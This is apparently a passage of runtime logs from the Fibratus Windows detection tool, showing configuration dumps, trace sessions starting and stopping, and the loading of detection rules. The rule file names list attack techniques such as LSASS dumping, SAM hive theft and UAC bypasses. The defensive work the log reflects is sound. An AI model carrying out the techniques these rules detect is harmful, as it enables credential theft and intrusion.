RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-09T18:07:27+01:00 level=info msg=bootstrapping with pid 17188. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T18:07:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html use-template=>true to=>[] enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-image=>true flush-interval=>1s stack-enrichment=>true max-buffers=>36 enable-mem=>false enable-handle=>false enable-registry=>true min-buffers=>16 enable-dns=>false buffer-size=>512 enable-audit-api=>true enable-threadpool=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 formatter=>text level=>info log-stdout=>true] + output ......................... [ elasticsearch=>[ gzip-compression=>false flush-period=>1s template-name=>fibratus sniff=>false index-name=>fibratus healthcheck-interval=>10s healthcheck=>true timeout=>5s bulk-workers=>1 trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s enabled=>false] http=>[ tls-insecure-skip-verify=>false endpoints=>[] enabled=>false timeout=>5s serializer=>json enable-gzip=>false method=>POST] amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 vhost=>/ enabled=>false exchange=>fibratus durable=>false routing-key=>fibratus timeout=>5s exchange-type=>topic] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false scan-timeout=>10s fastscan=>true enabled=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-09T18:07:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-09T18:07:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-09T18:08:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T18:08:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-09T18:08:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-09T18:16:18+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:16:18+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-09T18:16:18+01:00 level=info msg=bootstrapping with pid 16952. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T18:16:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-image=>true enable-thread=>true enable-mem=>false enable-dns=>false enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-net=>true enable-threadpool=>false buffer-size=>512 flush-interval=>1s max-buffers=>36 min-buffers=>16 enable-handle=>false enable-vamap=>true enable-fileio=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text level=>info max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck=>true template-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false index-name=>fibratus healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s bulk-workers=>1 flush-period=>1s trace-log=>false enabled=>false] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s endpoints=>[] serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false method=>POST] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ exchange-type=>topic timeout=>5s enabled=>false durable=>false vhost=>/ tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient exchange=>fibratus routing-key=>fibratus url=>amqp://localhost:5672]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false skip-allocs=>false skip-files=>false enabled=>false scan-timeout=>10s fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-09T18:16:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:272 +time=2025-12-09T18:16:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:272 +time=2025-12-09T18:18:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T18:18:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:288 +time=2025-12-09T18:18:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:288 +time=2025-12-09T18:22:45+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-09T18:22:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-09T18:22:46+01:00 level=info msg=loading rule from 